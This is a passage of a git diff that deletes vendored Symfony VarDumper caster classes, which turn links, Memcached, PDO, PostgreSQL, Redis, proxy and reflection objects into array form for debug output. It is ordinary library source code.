b/vendor/symfony/var-dumper/Caster/LinkStub.php deleted file mode 100644 index 6360716..0000000 --- a/vendor/symfony/var-dumper/Caster/LinkStub.php +++ /dev/null @@ -1,108 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -/** - * Represents a file or a URL. - * - * @author Nicolas Grekas - */ -class LinkStub extends ConstStub -{ - public $inVendor = false; - - private static $vendorRoots; - private static $composerRoots; - - public function __construct($label, int $line = 0, $href = null) - { - $this->value = $label; - - if (null === $href) { - $href = $label; - } - if (!\is_string($href)) { - return; - } - if (0 === strpos($href, 'file://')) { - if ($href === $label) { - $label = substr($label, 7); - } - $href = substr($href, 7); - } elseif (false !== strpos($href, '://')) { - $this->attr['href'] = $href; - - return; - } - if (!file_exists($href)) { - return; - } - if ($line) { - $this->attr['line'] = $line; - } - if ($label !== $this->attr['file'] = realpath($href) ?: $href) { - return; - } - if ($composerRoot = $this->getComposerRoot($href, $this->inVendor)) { - $this->attr['ellipsis'] = \strlen($href) - \strlen($composerRoot) + 1; - $this->attr['ellipsis-type'] = 'path'; - $this->attr['ellipsis-tail'] = 1 + ($this->inVendor ? 2 + \strlen(implode('', \array_slice(explode(\DIRECTORY_SEPARATOR, substr($href, 1 - $this->attr['ellipsis'])), 0, 2))) : 0); - } elseif (3 < \count($ellipsis = explode(\DIRECTORY_SEPARATOR, $href))) { - $this->attr['ellipsis'] = 2 + \strlen(implode('', \array_slice($ellipsis, -2))); - $this->attr['ellipsis-type'] = 'path'; - $this->attr['ellipsis-tail'] = 1; - } - } - - private function getComposerRoot(string $file, bool &$inVendor) - { - if (null === self::$vendorRoots) { - self::$vendorRoots = []; - - foreach (get_declared_classes() as $class) { - if ('C' === $class[0] && 0 === strpos($class, 'ComposerAutoloaderInit')) { - $r = new \ReflectionClass($class); - $v = \dirname($r->getFileName(), 2); - if (file_exists($v.'/composer/installed.json')) { - self::$vendorRoots[] = $v.\DIRECTORY_SEPARATOR; - } - } - } - } - $inVendor = false; - - if (isset(self::$composerRoots[$dir = \dirname($file)])) { - return self::$composerRoots[$dir]; - } - - foreach (self::$vendorRoots as $root) { - if ($inVendor = 0 === strpos($file, $root)) { - return $root; - } - } - - $parent = $dir; - while (!@file_exists($parent.'/composer.json')) { - if (!@file_exists($parent)) { - // open_basedir restriction in effect - break; - } - if ($parent === \dirname($parent)) { - return self::$composerRoots[$dir] = false; - } - - $parent = \dirname($parent); - } - - return self::$composerRoots[$dir] = $parent.\DIRECTORY_SEPARATOR; - } -} diff --git a/vendor/symfony/var-dumper/Caster/MemcachedCaster.php b/vendor/symfony/var-dumper/Caster/MemcachedCaster.php deleted file mode 100644 index 942eecb..0000000 --- a/vendor/symfony/var-dumper/Caster/MemcachedCaster.php +++ /dev/null @@ -1,81 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Jan Schädlich - * - * @final since Symfony 4.4 - */ -class MemcachedCaster -{ - private static $optionConstants; - private static $defaultOptions; - - public static function castMemcached(\Memcached $c, array $a, Stub $stub, $isNested) - { - $a += [ - Caster::PREFIX_VIRTUAL.'servers' => $c->getServerList(), - Caster::PREFIX_VIRTUAL.'options' => new EnumStub( - self::getNonDefaultOptions($c) - ), - ]; - - return $a; - } - - private static function getNonDefaultOptions(\Memcached $c): array - { - self::$defaultOptions = self::$defaultOptions ?? self::discoverDefaultOptions(); - self::$optionConstants = self::$optionConstants ?? self::getOptionConstants(); - - $nonDefaultOptions = []; - foreach (self::$optionConstants as $constantKey => $value) { - if (self::$defaultOptions[$constantKey] !== $option = $c->getOption($value)) { - $nonDefaultOptions[$constantKey] = $option; - } - } - - return $nonDefaultOptions; - } - - private static function discoverDefaultOptions(): array - { - $defaultMemcached = new \Memcached(); - $defaultMemcached->addServer('127.0.0.1', 11211); - - $defaultOptions = []; - self::$optionConstants = self::$optionConstants ?? self::getOptionConstants(); - - foreach (self::$optionConstants as $constantKey => $value) { - $defaultOptions[$constantKey] = $defaultMemcached->getOption($value); - } - - return $defaultOptions; - } - - private static function getOptionConstants(): array - { - $reflectedMemcached = new \ReflectionClass(\Memcached::class); - - $optionConstants = []; - foreach ($reflectedMemcached->getConstants() as $constantKey => $value) { - if (0 === strpos($constantKey, 'OPT_')) { - $optionConstants[$constantKey] = $value; - } - } - - return $optionConstants; - } -} diff --git a/vendor/symfony/var-dumper/Caster/PdoCaster.php b/vendor/symfony/var-dumper/Caster/PdoCaster.php deleted file mode 100644 index d30ab01..0000000 --- a/vendor/symfony/var-dumper/Caster/PdoCaster.php +++ /dev/null @@ -1,122 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts PDO related classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class PdoCaster -{ - private static $pdoAttributes = [ - 'CASE' => [ - \PDO::CASE_LOWER => 'LOWER', - \PDO::CASE_NATURAL => 'NATURAL', - \PDO::CASE_UPPER => 'UPPER', - ], - 'ERRMODE' => [ - \PDO::ERRMODE_SILENT => 'SILENT', - \PDO::ERRMODE_WARNING => 'WARNING', - \PDO::ERRMODE_EXCEPTION => 'EXCEPTION', - ], - 'TIMEOUT', - 'PREFETCH', - 'AUTOCOMMIT', - 'PERSISTENT', - 'DRIVER_NAME', - 'SERVER_INFO', - 'ORACLE_NULLS' => [ - \PDO::NULL_NATURAL => 'NATURAL', - \PDO::NULL_EMPTY_STRING => 'EMPTY_STRING', - \PDO::NULL_TO_STRING => 'TO_STRING', - ], - 'CLIENT_VERSION', - 'SERVER_VERSION', - 'STATEMENT_CLASS', - 'EMULATE_PREPARES', - 'CONNECTION_STATUS', - 'STRINGIFY_FETCHES', - 'DEFAULT_FETCH_MODE' => [ - \PDO::FETCH_ASSOC => 'ASSOC', - \PDO::FETCH_BOTH => 'BOTH', - \PDO::FETCH_LAZY => 'LAZY', - \PDO::FETCH_NUM => 'NUM', - \PDO::FETCH_OBJ => 'OBJ', - ], - ]; - - public static function castPdo(\PDO $c, array $a, Stub $stub, $isNested) - { - $attr = []; - $errmode = $c->getAttribute(\PDO::ATTR_ERRMODE); - $c->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); - - foreach (self::$pdoAttributes as $k => $v) { - if (!isset($k[0])) { - $k = $v; - $v = []; - } - - try { - $attr[$k] = 'ERRMODE' === $k ? $errmode : $c->getAttribute(\constant('PDO::ATTR_'.$k)); - if ($v && isset($v[$attr[$k]])) { - $attr[$k] = new ConstStub($v[$attr[$k]], $attr[$k]); - } - } catch (\Exception $e) { - } - } - if (isset($attr[$k = 'STATEMENT_CLASS'][1])) { - if ($attr[$k][1]) { - $attr[$k][1] = new ArgsStub($attr[$k][1], '__construct', $attr[$k][0]); - } - $attr[$k][0] = new ClassStub($attr[$k][0]); - } - - $prefix = Caster::PREFIX_VIRTUAL; - $a += [ - $prefix.'inTransaction' => method_exists($c, 'inTransaction'), - $prefix.'errorInfo' => $c->errorInfo(), - $prefix.'attributes' => new EnumStub($attr), - ]; - - if ($a[$prefix.'inTransaction']) { - $a[$prefix.'inTransaction'] = $c->inTransaction(); - } else { - unset($a[$prefix.'inTransaction']); - } - - if (!isset($a[$prefix.'errorInfo'][1], $a[$prefix.'errorInfo'][2])) { - unset($a[$prefix.'errorInfo']); - } - - $c->setAttribute(\PDO::ATTR_ERRMODE, $errmode); - - return $a; - } - - public static function castPdoStatement(\PDOStatement $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - $a[$prefix.'errorInfo'] = $c->errorInfo(); - - if (!isset($a[$prefix.'errorInfo'][1], $a[$prefix.'errorInfo'][2])) { - unset($a[$prefix.'errorInfo']); - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/PgSqlCaster.php b/vendor/symfony/var-dumper/Caster/PgSqlCaster.php deleted file mode 100644 index 6098277..0000000 --- a/vendor/symfony/var-dumper/Caster/PgSqlCaster.php +++ /dev/null @@ -1,156 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts pqsql resources to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class PgSqlCaster -{ - private static $paramCodes = [ - 'server_encoding', - 'client_encoding', - 'is_superuser', - 'session_authorization', - 'DateStyle', - 'TimeZone', - 'IntervalStyle', - 'integer_datetimes', - 'application_name', - 'standard_conforming_strings', - ]; - - private static $transactionStatus = [ - \PGSQL_TRANSACTION_IDLE => 'PGSQL_TRANSACTION_IDLE', - \PGSQL_TRANSACTION_ACTIVE => 'PGSQL_TRANSACTION_ACTIVE', - \PGSQL_TRANSACTION_INTRANS => 'PGSQL_TRANSACTION_INTRANS', - \PGSQL_TRANSACTION_INERROR => 'PGSQL_TRANSACTION_INERROR', - \PGSQL_TRANSACTION_UNKNOWN => 'PGSQL_TRANSACTION_UNKNOWN', - ]; - - private static $resultStatus = [ - \PGSQL_EMPTY_QUERY => 'PGSQL_EMPTY_QUERY', - \PGSQL_COMMAND_OK => 'PGSQL_COMMAND_OK', - \PGSQL_TUPLES_OK => 'PGSQL_TUPLES_OK', - \PGSQL_COPY_OUT => 'PGSQL_COPY_OUT', - \PGSQL_COPY_IN => 'PGSQL_COPY_IN', - \PGSQL_BAD_RESPONSE => 'PGSQL_BAD_RESPONSE', - \PGSQL_NONFATAL_ERROR => 'PGSQL_NONFATAL_ERROR', - \PGSQL_FATAL_ERROR => 'PGSQL_FATAL_ERROR', - ]; - - private static $diagCodes = [ - 'severity' => \PGSQL_DIAG_SEVERITY, - 'sqlstate' => \PGSQL_DIAG_SQLSTATE, - 'message' => \PGSQL_DIAG_MESSAGE_PRIMARY, - 'detail' => \PGSQL_DIAG_MESSAGE_DETAIL, - 'hint' => \PGSQL_DIAG_MESSAGE_HINT, - 'statement position' => \PGSQL_DIAG_STATEMENT_POSITION, - 'internal position' => \PGSQL_DIAG_INTERNAL_POSITION, - 'internal query' => \PGSQL_DIAG_INTERNAL_QUERY, - 'context' => \PGSQL_DIAG_CONTEXT, - 'file' => \PGSQL_DIAG_SOURCE_FILE, - 'line' => \PGSQL_DIAG_SOURCE_LINE, - 'function' => \PGSQL_DIAG_SOURCE_FUNCTION, - ]; - - public static function castLargeObject($lo, array $a, Stub $stub, $isNested) - { - $a['seek position'] = pg_lo_tell($lo); - - return $a; - } - - public static function castLink($link, array $a, Stub $stub, $isNested) - { - $a['status'] = pg_connection_status($link); - $a['status'] = new ConstStub(\PGSQL_CONNECTION_OK === $a['status'] ? 'PGSQL_CONNECTION_OK' : 'PGSQL_CONNECTION_BAD', $a['status']); - $a['busy'] = pg_connection_busy($link); - - $a['transaction'] = pg_transaction_status($link); - if (isset(self::$transactionStatus[$a['transaction']])) { - $a['transaction'] = new ConstStub(self::$transactionStatus[$a['transaction']], $a['transaction']); - } - - $a['pid'] = pg_get_pid($link); - $a['last error'] = pg_last_error($link); - $a['last notice'] = pg_last_notice($link); - $a['host'] = pg_host($link); - $a['port'] = pg_port($link); - $a['dbname'] = pg_dbname($link); - $a['options'] = pg_options($link); - $a['version'] = pg_version($link); - - foreach (self::$paramCodes as $v) { - if (false !== $s = pg_parameter_status($link, $v)) { - $a['param'][$v] = $s; - } - } - - $a['param']['client_encoding'] = pg_client_encoding($link); - $a['param'] = new EnumStub($a['param']); - - return $a; - } - - public static function castResult($result, array $a, Stub $stub, $isNested) - { - $a['num rows'] = pg_num_rows($result); - $a['status'] = pg_result_status($result); - if (isset(self::$resultStatus[$a['status']])) { - $a['status'] = new ConstStub(self::$resultStatus[$a['status']], $a['status']); - } - $a['command-completion tag'] = pg_result_status($result, \PGSQL_STATUS_STRING); - - if (-1 === $a['num rows']) { - foreach (self::$diagCodes as $k => $v) { - $a['error'][$k] = pg_result_error_field($result, $v); - } - } - - $a['affected rows'] = pg_affected_rows($result); - $a['last OID'] = pg_last_oid($result); - - $fields = pg_num_fields($result); - - for ($i = 0; $i < $fields; ++$i) { - $field = [ - 'name' => pg_field_name($result, $i), - 'table' => sprintf('%s (OID: %s)', pg_field_table($result, $i), pg_field_table($result, $i, true)), - 'type' => sprintf('%s (OID: %s)', pg_field_type($result, $i), pg_field_type_oid($result, $i)), - 'nullable' => (bool) pg_field_is_null($result, $i), - 'storage' => pg_field_size($result, $i).' bytes', - 'display' => pg_field_prtlen($result, $i).' chars', - ]; - if (' (OID: )' === $field['table']) { - $field['table'] = null; - } - if ('-1 bytes' === $field['storage']) { - $field['storage'] = 'variable size'; - } elseif ('1 bytes' === $field['storage']) { - $field['storage'] = '1 byte'; - } - if ('1 chars' === $field['display']) { - $field['display'] = '1 char'; - } - $a['fields'][] = new EnumStub($field); - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php b/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php deleted file mode 100644 index ec02f81..0000000 --- a/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use ProxyManager\Proxy\ProxyInterface; -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class ProxyManagerCaster -{ - public static function castProxy(ProxyInterface $c, array $a, Stub $stub, $isNested) - { - if ($parent = get_parent_class($c)) { - $stub->class .= ' - '.$parent; - } - $stub->class .= '@proxy'; - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/RedisCaster.php b/vendor/symfony/var-dumper/Caster/RedisCaster.php deleted file mode 100644 index e92c65b..0000000 --- a/vendor/symfony/var-dumper/Caster/RedisCaster.php +++ /dev/null @@ -1,152 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts Redis class from ext-redis to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class RedisCaster -{ - private static $serializer = [ - \Redis::SERIALIZER_NONE => 'NONE', - \Redis::SERIALIZER_PHP => 'PHP', - 2 => 'IGBINARY', // Optional Redis::SERIALIZER_IGBINARY - ]; - - private static $mode = [ - \Redis::ATOMIC => 'ATOMIC', - \Redis::MULTI => 'MULTI', - \Redis::PIPELINE => 'PIPELINE', - ]; - - private static $compression = [ - 0 => 'NONE', // Redis::COMPRESSION_NONE - 1 => 'LZF', // Redis::COMPRESSION_LZF - ]; - - private static $failover = [ - \RedisCluster::FAILOVER_NONE => 'NONE', - \RedisCluster::FAILOVER_ERROR => 'ERROR', - \RedisCluster::FAILOVER_DISTRIBUTE => 'DISTRIBUTE', - \RedisCluster::FAILOVER_DISTRIBUTE_SLAVES => 'DISTRIBUTE_SLAVES', - ]; - - public static function castRedis(\Redis $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - if (!$connected = $c->isConnected()) { - return $a + [ - $prefix.'isConnected' => $connected, - ]; - } - - $mode = $c->getMode(); - - return $a + [ - $prefix.'isConnected' => $connected, - $prefix.'host' => $c->getHost(), - $prefix.'port' => $c->getPort(), - $prefix.'auth' => $c->getAuth(), - $prefix.'mode' => isset(self::$mode[$mode]) ? new ConstStub(self::$mode[$mode], $mode) : $mode, - $prefix.'dbNum' => $c->getDbNum(), - $prefix.'timeout' => $c->getTimeout(), - $prefix.'lastError' => $c->getLastError(), - $prefix.'persistentId' => $c->getPersistentID(), - $prefix.'options' => self::getRedisOptions($c), - ]; - } - - public static function castRedisArray(\RedisArray $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - return $a + [ - $prefix.'hosts' => $c->_hosts(), - $prefix.'function' => ClassStub::wrapCallable($c->_function()), - $prefix.'lastError' => $c->getLastError(), - $prefix.'options' => self::getRedisOptions($c), - ]; - } - - public static function castRedisCluster(\RedisCluster $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - $failover = $c->getOption(\RedisCluster::OPT_SLAVE_FAILOVER); - - $a += [ - $prefix.'_masters' => $c->_masters(), - $prefix.'_redir' => $c->_redir(), - $prefix.'mode' => new ConstStub($c->getMode() ? 'MULTI' : 'ATOMIC', $c->getMode()), - $prefix.'lastError' => $c->getLastError(), - $prefix.'options' => self::getRedisOptions($c, [ - 'SLAVE_FAILOVER' => isset(self::$failover[$failover]) ? new ConstStub(self::$failover[$failover], $failover) : $failover, - ]), - ]; - - return $a; - } - - /** - * @param \Redis|\RedisArray|\RedisCluster $redis - */ - private static function getRedisOptions($redis, array $options = []): EnumStub - { - $serializer = $redis->getOption(\Redis::OPT_SERIALIZER); - if (\is_array($serializer)) { - foreach ($serializer as &$v) { - if (isset(self::$serializer[$v])) { - $v = new ConstStub(self::$serializer[$v], $v); - } - } - } elseif (isset(self::$serializer[$serializer])) { - $serializer = new ConstStub(self::$serializer[$serializer], $serializer); - } - - $compression = \defined('Redis::OPT_COMPRESSION') ? $redis->getOption(\Redis::OPT_COMPRESSION) : 0; - if (\is_array($compression)) { - foreach ($compression as &$v) { - if (isset(self::$compression[$v])) { - $v = new ConstStub(self::$compression[$v], $v); - } - } - } elseif (isset(self::$compression[$compression])) { - $compression = new ConstStub(self::$compression[$compression], $compression); - } - - $retry = \defined('Redis::OPT_SCAN') ? $redis->getOption(\Redis::OPT_SCAN) : 0; - if (\is_array($retry)) { - foreach ($retry as &$v) { - $v = new ConstStub($v ? 'RETRY' : 'NORETRY', $v); - } - } else { - $retry = new ConstStub($retry ? 'RETRY' : 'NORETRY', $retry); - } - - $options += [ - 'TCP_KEEPALIVE' => \defined('Redis::OPT_TCP_KEEPALIVE') ? $redis->getOption(\Redis::OPT_TCP_KEEPALIVE) : 0, - 'READ_TIMEOUT' => $redis->getOption(\Redis::OPT_READ_TIMEOUT), - 'COMPRESSION' => $compression, - 'SERIALIZER' => $serializer, - 'PREFIX' => $redis->getOption(\Redis::OPT_PREFIX), - 'SCAN' => $retry, - ]; - - return new EnumStub($options); - } -} diff --git a/vendor/symfony/var-dumper/Caster/ReflectionCaster.php b/vendor/symfony/var-dumper/Caster/ReflectionCaster.php deleted file mode 100644 index 6be710c..0000000 --- a/vendor/symfony/var-dumper/Caster/ReflectionCaster.php +++ /dev/null @@ -1,392 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts Reflector related classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class ReflectionCaster -{ - const UNSET_CLOSURE_FILE_INFO = ['Closure' => __CLASS__.'::unsetClosureFileInfo']; - - private static $extraMap = [ - 'docComment' => 'getDocComment', - 'extension' => 'getExtensionName', - 'isDisabled' => 'isDisabled', - 'isDeprecated' => 'isDeprecated', - 'isInternal' => 'isInternal', - 'isUserDefined' => 'isUserDefined', - 'isGenerator' => 'isGenerator', - 'isVariadic' => 'isVariadic', - ]; - - public static function castClosure(\Closure $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $prefix = Caster::PREFIX_VIRTUAL; - $c = new \ReflectionFunction($c); - - $a = static::castFunctionAbstract($c, $a, $stub, $isNested, $filter); - - if (false === strpos($c->name, '{closure}')) { - $stub->class = isset($a[$prefix.'class']) ? $a[$prefix.'class']->value.'::'.$c->name : $c->name; - unset($a[$prefix.'class']); - } - unset($a[$prefix.'extra']); - - $stub->class .= self::getSignature($a); - - if ($f = $c->getFileName()) { - $stub->attr['file'] = $f; - $stub->attr['line'] = $c->getStartLine(); - } - - unset($a[$prefix.'parameters']); - - if ($filter & Caster::EXCLUDE_VERBOSE) { - $stub->cut += ($c->getFileName() ? 2 : 0) + \count($a); - - return []; - } - - if ($f) { - $a[$prefix.'file'] = new LinkStub($f, $c->getStartLine()); - $a[$prefix.'line'] = $c->getStartLine().' to '.$c->getEndLine(); - } - - return $a; - } - - public static function unsetClosureFileInfo(\Closure $c, array $a) - { - unset($a[Caster::PREFIX_VIRTUAL.'file'], $a[Caster::PREFIX_VIRTUAL.'line']); - - return $a; - } - - public static function castGenerator(\Generator $c, array $a, Stub $stub, $isNested) - { - // Cannot create ReflectionGenerator based on a terminated Generator - try { - $reflectionGenerator = new \ReflectionGenerator($c); - } catch (\Exception $e) { - $a[Caster::PREFIX_VIRTUAL.'closed'] = true; - - return $a; - } - - return self::castReflectionGenerator($reflectionGenerator, $a, $stub, $isNested); - } - - public static function castType(\ReflectionType $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $a += [ - $prefix.'name' => $c instanceof \ReflectionNamedType ? $c->getName() : (string) $c, - $prefix.'allowsNull' => $c->allowsNull(), - $prefix.'isBuiltin' => $c->isBuiltin(), - ]; - - return $a; - } - - public static function castReflectionGenerator(\ReflectionGenerator $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - if ($c->getThis()) { - $a[$prefix.'this'] = new CutStub($c->getThis()); - } - $function = $c->getFunction(); - $frame = [ - 'class' => isset($function->class) ? $function->class : null, - 'type' => isset($function->class) ? ($function->isStatic() ? '::' : '->') : null, - 'function' => $function->name, - 'file' => $c->getExecutingFile(), - 'line' => $c->getExecutingLine(), - ]; - if ($trace = $c->getTrace(\DEBUG_BACKTRACE_IGNORE_ARGS)) { - $function = new \ReflectionGenerator($c->getExecutingGenerator()); - array_unshift($trace, [ - 'function' => 'yield', - 'file' => $function->getExecutingFile(), - 'line' => $function->getExecutingLine() - 1, - ]); - $trace[] = $frame; - $a[$prefix.'trace'] = new TraceStub($trace, false, 0, -1, -1); - } else { - $function = new FrameStub($frame, false, true); - $function = ExceptionCaster::castFrameStub($function, [], $function, true); - $a[$prefix.'executing'] = $function[$prefix.'src']; - } - - $a[Caster::PREFIX_VIRTUAL.'closed'] = false; - - return $a; - } - - public static function castClass(\ReflectionClass $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $prefix = Caster::PREFIX_VIRTUAL; - - if ($n = \Reflection::getModifierNames($c->getModifiers())) { - $a[$prefix.'modifiers'] = implode(' ', $n); - } - - self::addMap($a, $c, [ - 'extends' => 'getParentClass', - 'implements' => 'getInterfaceNames', - 'constants' => 'getConstants', - ]); - - foreach ($c->getProperties() as $n) { - $a[$prefix.'properties'][$n->name] = $n; - } - - foreach ($c->getMethods() as $n) { - $a[$prefix.'methods'][$n->name] = $n; - } - - if (!($filter & Caster::EXCLUDE_VERBOSE) && !$isNested) { - self::addExtra($a, $c); - } - - return $a; - } - - public static function castFunctionAbstract(\ReflectionFunctionAbstract $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $prefix = Caster::PREFIX_VIRTUAL; - - self::addMap($a, $c, [ - 'returnsReference' => 'returnsReference', - 'returnType' => 'getReturnType', - 'class' => 'getClosureScopeClass', - 'this' => 'getClosureThis', - ]); - - if (isset($a[$prefix.'returnType'])) { - $v = $a[$prefix.'returnType']; - $v = $v instanceof \ReflectionNamedType ? $v->getName() : (string) $v; - $a[$prefix.'returnType'] = new ClassStub($a[$prefix.'returnType']->allowsNull() ? '?'.$v : $v, [class_exists($v, false) || interface_exists($v, false) || trait_exists($v, false) ? $v : '', '']); - } - if (isset($a[$prefix.'class'])) { - $a[$prefix.'class'] = new ClassStub($a[$prefix.'class']); - } - if (isset($a[$prefix.'this'])) { - $a[$prefix.'this'] = new CutStub($a[$prefix.'this']); - } - - foreach ($c->getParameters() as $v) { - $k = '$'.$v->name; - if ($v->isVariadic()) { - $k = '...'.$k; - } - if ($v->isPassedByReference()) { - $k = '&'.$k; - } - $a[$prefix.'parameters'][$k] = $v; - } - if (isset($a[$prefix.'parameters'])) { - $a[$prefix.'parameters'] = new EnumStub($a[$prefix.'parameters']); - } - - if (!($filter & Caster::EXCLUDE_VERBOSE) && $v = $c->getStaticVariables()) { - foreach ($v as $k => &$v) { - if (\is_object($v)) { - $a[$prefix.'use']['$'.$k] = new CutStub($v); - } else { - $a[$prefix.'use']['$'.$k] = &$v; - } - } - unset($v); - $a[$prefix.'use'] = new EnumStub($a[$prefix.'use']); - } - - if (!($filter & Caster::EXCLUDE_VERBOSE) && !$isNested) { - self::addExtra($a, $c); - } - - return $a; - } - - public static function castMethod(\ReflectionMethod $c, array $a, Stub $stub, $isNested) - { - $a[Caster::PREFIX_VIRTUAL.'modifiers'] = implode(' ', \Reflection::getModifierNames($c->getModifiers())); - - return $a; - } - - public static function castParameter(\ReflectionParameter $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - self::addMap($a, $c, [ - 'position' => 'getPosition', - 'isVariadic' => 'isVariadic', - 'byReference' => 'isPassedByReference', - 'allowsNull' => 'allowsNull', - ]); - - if ($v = $c->getType()) { - $a[$prefix.'typeHint'] = $v instanceof \ReflectionNamedType ? $v->getName() : (string) $v; - } - - if (isset($a[$prefix.'typeHint'])) { - $v = $a[$prefix.'typeHint']; - $a[$prefix.'typeHint'] = new ClassStub($v, [class_exists($v, false) || interface_exists($v, false) || trait_exists($v, false) ? $v : '', '']); - } else { - unset($a[$prefix.'allowsNull']); - } - - try { - $a[$prefix.'default'] = $v = $c->getDefaultValue(); - if ($c->isDefaultValueConstant()) { - $a[$prefix.'default'] = new ConstStub($c->getDefaultValueConstantName(), $v); - } - if (null === $v) { - unset($a[$prefix.'allowsNull']); - } - } catch (\ReflectionException $e) { - } - - return $a; - } - - public static function castProperty(\ReflectionProperty $c, array $a, Stub $stub, $isNested) - { - $a[Caster::PREFIX_VIRTUAL.'modifiers'] = implode(' ', \Reflection::getModifierNames($c->getModifiers())); - self::addExtra($a, $c); - - return $a; - } - - public static function castReference(\ReflectionReference $c, array $a, Stub $stub, $isNested) - { - $a[Caster::PREFIX_VIRTUAL.'id'] = $c->getId(); - - return $a; - } - - public static function castExtension(\ReflectionExtension $c, array $a, Stub $stub, $isNested) - { - self::addMap($a, $c, [ - 'version' => 'getVersion', - 'dependencies' => 'getDependencies', - 'iniEntries' => 'getIniEntries', - 'isPersistent' => 'isPersistent', - 'isTemporary' => 'isTemporary', - 'constants' => 'getConstants', - 'functions' => 'getFunctions', - 'classes' => 'getClasses', - ]); - - return $a; - } - - public static function castZendExtension(\ReflectionZendExtension $c, array $a, Stub $stub, $isNested) - { - self::addMap($a, $c, [ - 'version' => 'getVersion', - 'author' => 'getAuthor', - 'copyright' => 'getCopyright', - 'url' => 'getURL', - ]); - - return $a; - } - - public static function getSignature(array $a) - { - $prefix = Caster::PREFIX_VIRTUAL; - $signature = ''; - - if (isset($a[$prefix.'parameters'])) { - foreach ($a[$prefix.'parameters']->value as $k => $param) { - $signature .= ', '; - if ($type = $param->getType()) { - if (!$type instanceof \ReflectionNamedType) { - $signature .= $type.' '; - } else { - if (!$param->isOptional() && $param->allowsNull()) { - $signature .= '?'; - } - $signature .= substr(strrchr('\\'.$type->getName(), '\\'), 1).' '; - } - } - $signature .= $k; - - if (!$param->isDefaultValueAvailable()) { - continue; - } - $v = $param->getDefaultValue(); - $signature .= ' = '; - - if ($param->isDefaultValueConstant()) { - $signature .= substr(strrchr('\\'.$param->getDefaultValueConstantName(), '\\'), 1); - } elseif (null === $v) { - $signature .= 'null'; - } elseif (\is_array($v)) { - $signature .= $v ? '[…'.\count($v).']' : '[]'; - } elseif (\is_string($v)) { - $signature .= 10 > \strlen($v) && false === strpos($v, '\\') ? "'{$v}'" : "'…".\strlen($v)."'"; - } elseif (\is_bool($v)) { - $signature .= $v ? 'true' : 'false'; - } else { - $signature .= $v; - } - } - } - $signature = (empty($a[$prefix.'returnsReference']) ? '' : '&').'('.substr($signature, 2).')'; - - if (isset($a[$prefix.'returnType'])) { - $signature .= ': '.substr(strrchr('\\'.$a[$prefix.'returnType'], '\\'), 1); - } - - return $signature; - } - - private static function addExtra(array &$a, \Reflector $c) - { - $x = isset($a[Caster::PREFIX_VIRTUAL.'extra']) ? $a[Caster::PREFIX_VIRTUAL.'extra']->value : []; - - if (method_exists($c, 'getFileName') && $m = $c->getFileName()) { - $x['file'] = new LinkStub($m, $c->getStartLine()); - $x['line'] = $c->getStartLine().' to '.$c->getEndLine(); - } - - self::addMap($x, $c, self::$extraMap, ''); - - if ($x) { - $a[Caster::PREFIX_VIRTUAL.'extra'] = new EnumStub($x); - } - } - - private static function addMap(array &$a, \Reflector $c, array $map, string $prefix = Caster::PREFIX_VIRTUAL) - { - foreach ($map as $k => $m) { - if (\PHP_VERSION_ID >= 80000 && 'isDisabled' === $k) { - continue; - } - - if (method_exists($c, $m) && false !== ($m = $c->$m()) && null !== $m) { - $a[$prefix.$k] = $m instanceof \Reflector ? $m->name : $m; - } - } - } -} diff --git a/vendor/symfony/var-dumper/Caster/ResourceCaster.php b/vendor/symfony/var-dumper/Caster/ResourceCaster.php deleted file mode 100644 index 5a7c428..0000000 --- a/vendor/symfony/var-dumper/Caster/ResourceCaster.php +++ /dev/null @@ -1,105 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts common resource types to array representation. - * - * @author 